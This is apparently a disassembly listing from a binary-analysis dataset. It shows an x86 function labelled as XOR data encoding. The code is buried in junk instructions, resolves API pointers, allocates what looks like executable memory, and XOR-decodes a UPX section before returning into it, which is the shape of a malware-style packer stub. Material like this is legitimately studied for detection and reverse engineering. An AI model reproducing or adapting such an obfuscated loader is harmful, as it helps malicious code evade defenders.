Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfa73bbc2
dec eax
dec edi
popal
sub eax, 0xfe37014
sub edi, 1
or eax, eax
mov eax, 0
mov edi, esi
and ecx, ecx
sub edx, 0x729f54a7
mov ebx, edi
or ecx, ecx
not ecx
mov esi, ebx
sub ecx, edx
sub edx, ecx
sub ecx, 0x7904779f
inc eax
add ecx, 0x6516bb00
dec edx
cmp eax, 0x100627c
jne 0x47b450
sub edx, ecx
add edx, ecx
mov eax, edi
and eax, edi
mov ebx, 0x47b21e
and edi, ecx
add ecx, 0xe22422ce
mov edi, 0x7806cf3b
mov eax, 0x47b412
dec edi
sub esi, edi
add ecx, edi
mov edx, dword [ebx]
not esi
inc edi
and edx, 0xff
sub esi, 1
sub ecx, 0xe9508cb7
sub ecx, 0x840a5da7
xor dword [eax], edx
mov esi, 0xb892f2ad
sub edi, ecx
and ecx, edi
inc eax
sub ecx, 0x137c23f4
not edi
add ebx, 1
sub edi, esi
and edi, ecx
sub edi, ecx
cmp eax, entry0
jl 0x47b4a4
mov esi, 0x134b7ea0
add ecx, 1
not esi
not edi
mov edi, ecx
sub esi, 0x3c5a78d9
not ebx
mov edi, 0x47b416
dec edx
add esi, 0xe426ae6c
not ecx
mov edi, dword [edi]
add esi, 0x9f9a8cf7
add edx, esi
mov edi, dword [edi]
add ebx, edx
mov ebx, 0x9ce621c5
sub esp, 4
mov dword [esp], edi
dec edx
mov ecx, esi
inc esi
mov edi, 0x47b412
sub ebx, 0xb390f63d
or edx, ebx
mov ecx, ebx
mov edi, dword [edi]
inc edx
or ebx, ebx
sub esi, ecx
mov edi, dword [edi]
dec ebx
add ebx, ecx
sub edx, esi
push 0x47b41a
add ecx, ebx
sub ebx, 0x893018ff
add ecx, edx
call edi
inc edx
or edx, ebx
sub ebx, edx
pop edi
mov edx, ecx
and edx, esi
add ebx, 0x7eca543d
sub esp, 4
mov dword [esp], 0x47b427
or ecx, ecx
add ebx, 1
sub esp, 4
mov dword [esp], eax
sub edx, 0x451d796d
add esi, 0x20a52a0a
and ecx, edx
call edi
inc ebx
not ecx
mov ebx, ecx
sub esp, 4
mov dword [esp], 0x40
dec ecx
add ecx, 0x4c797aaa
push 0x3000
sub edx, ebx
inc ebx
mov ecx, ebx
sub esp, 4
mov dword [esp], 0x20000124
add edx, 0xd626a68
not esi
push 0
add edx, ebx
add ecx, 0xe18d228e
add esi, 0x4a569ce9
call eax
or ebx, ebx
not ebx
inc edx
add eax, 0x20000077
mov edx, ebx
sub edx, esi
mov edx, ecx
mov edi, 0x62ee9645
or ebx, ebx
or ecx, ebx
mov dword [eax], edi
sub esi, 0xcc550f66
dec ebx
mov edi, dword [eax]
sub ecx, 0x8c1f82ab
dec edx
cmp edi, 0x62ee9645
je 0x47b619
mov ebx, 0
mov ecx, dword [ebx]
mov ebx, esi
mov ecx, edx
sub edx, 0xfadf038c
and edx, esi
dec esi
add ecx, 0x837c2b5b
sub eax, edi
add edi, edi
mov ecx, section.UPX1
dec eax
inc eax
not edi
mov esi, 0x47b21d
and edi, eax
add edi, 0x4e864467
mov ebx, 0
and eax, edi
add edi, 0x609ba3c1
mov edx, 0x47b21e
inc eax
sub eax, 0x9ea4fdc2
lea edx, [ebx + edx]
sub edi, 0x4202d993
add edi, 0x9ed8e572
mov edx, dword [edx]
sub edi, 0x4f887924
sub eax, edi
and edx, 0xff
and eax, edi
or edi, eax
sub eax, 0xe5d70d
inc ebx
sub edi, 0xe5a5b4ea
mov eax, edi
cmp ebx, 0x1f4
jne 0x47b69e
mov ebx, 0
mov eax, edi
mov edi, 0xfe6ed1ec
sub eax, 0xf4fda3d3
or eax, eax
dec eax
dec eax
xor dword [ecx], edx
mov edi, eax
sub edi, eax
dec eax
add ecx, 2
not edi
add eax, 1
cmp ecx, esi
jl 0x47b653
add edi, 0x5e2239b0
add eax, 1
add edi, edi
sub edi, 0x416428a9
not eax
mov eax, section.UPX1
not ecx
mov ecx, 0xc398a507
mov esi, section.UPX1
add ebx, 0xc397db42
sub ecx, ebx
mov edi, 0x47b21d
inc ecx
inc ebx
mov edx, 0
sub ebx, ecx
sub ebx, 0x102e544d
mov dl, byte [esi]
sub ecx, ebx
and ecx, ecx
mov byte [eax], dl
mov ebx, ecx
or ebx, ecx
inc eax
dec ebx
sub ecx, 0xe31e42fc
mov ebx, ecx
add esi, 2
add ebx, ecx
dec ecx
add ebx, ebx
cmp esi, edi
jle 0x47b70f
or ecx, ebx
sub ebx, 1
and edi, eax
or eax, eax
sub edi, 0xd2a83c08
sub esp, 4
mov dword [esp], 0x45e6a0
mov edi, 0xa901d5fd
add eax, 0x8b7f52a2
ret